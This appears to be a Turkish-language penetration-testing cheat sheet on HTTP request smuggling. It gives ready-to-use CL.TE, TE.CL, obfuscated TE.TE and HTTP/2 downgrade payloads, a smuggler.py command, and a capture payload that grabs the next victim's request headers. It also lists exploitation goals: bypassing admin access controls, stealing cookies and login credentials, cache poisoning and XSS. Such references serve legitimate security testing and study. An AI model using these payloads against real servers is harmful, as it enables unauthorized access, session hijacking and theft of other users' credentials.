Skip to content

HTTP Request Smuggling

ileri seviye difficulty: zor

HTTP Request Smuggling, bir isteğin nerede bittiğini ön uç (front-end) ve arka uç (back-end) sunucuların farklı yorumlamasından doğar. Genellikle Content-Length (CL) ile Transfer-Encoding: chunked (TE) başlıklarının çelişkili işlenmesinden kaynaklanır. Saldırgan bir isteğin “kuyruğunu” sonraki kullanıcının isteğine karıştırarak yetki atlatma, önbellek zehirleme ve kimlik hırsızlığı yapar.

Client → [Reverse Proxy / CDN / LB] → [Origin]
↑ CL veya TE seçimi farklıysa
payload sonraki request'in önüne eklenir
HTTP/1.1 keep-alive → desync kalıcı
# CL.TE — front CL, back TE
POST / HTTP/1.1
Host: victim
Content-Length: 6
Transfer-Encoding: chunked
0
G

G back-end’de sonraki isteğin başına yapışır (GPOST → 400); gecikme veya bozuk yanıt kaçakçılığı gösterir.

# TE.CL — front TE, back CL
POST / HTTP/1.1
Host: victim
Content-Length: 4
Transfer-Encoding: chunked
5c
GPOST / HTTP/1.1
Content-Length: 15
x=1
0
# TE.TE — obfuscated TE
Transfer-Encoding: chunked
Transfer-Encoding: xchunked
Transfer-Encoding: chunked
Transfer-Encoding: identity
Transfer-Encoding:[\t]chunked

Front HTTP/2 → origin HTTP/1.1:

H2.CL — yasak/yanlış Content-Length
H2.TE — H2 çerçevesinde TE
H2.CL.0 / header CRLF — request line enjekte

Burp Repeater’da HTTP/2 etkinleştirip downgrade senaryolarını dene.

  1. Zaman tabanlı prob — CL.TE/TE.CL; back-end chunk beklerken ~10s gecikme.

  2. Diferansiyel yanıt — kaçırılan önek başka isteği bozar.

  3. Confirm — prefix’i GET /404token yapıp yanıtta token ara.

  4. Araç — Burp HTTP Request Smuggler ; smuggler.py TE obfuscation.

Terminal window
python3 smuggler.py -u https://hedef.example
□ Ön uç ACL atlatma — /admin WAF engelli; smuggled origin'e gider
□ Kullanıcı isteği çalma — sonraki Cookie/body'yi yansıyan param'a yapıştır
□ Cache poisoning — smuggled yanıt paylaşılan cache'e
□ Stored/reflected XSS — başka kullanıcının yanıtına script
□ Credential hijack — login POST body yakala
□ HTTP/2 downgrade ile modern CDN hedefleri
POST / HTTP/1.1
Host: victim
Content-Length: ...
Transfer-Encoding: chunked
0
GET /capture?x= HTTP/1.1
Foo:

Sonraki kurban isteğinin başlıkları x= parametresine yapışır; log/capture ucunda görünür.

□ Burp "Update Content-Length" KAPALI
□ \r\n baytlarını doğru kullan
□ HTTP/1.1 zorla (bazı CDN H2-only)
□ Tek bağlantıda sıralı istekler (tab groups)
□ Blind: Collaborator'a smuggled GET
□ Chunk boyutları hex; satır sonları CRLF
smuggler.py / Burp timing → CL.TE confirm
→ smuggle GET /admin
→ veya capture Cookie → hesap
→ veya poison cache → XSS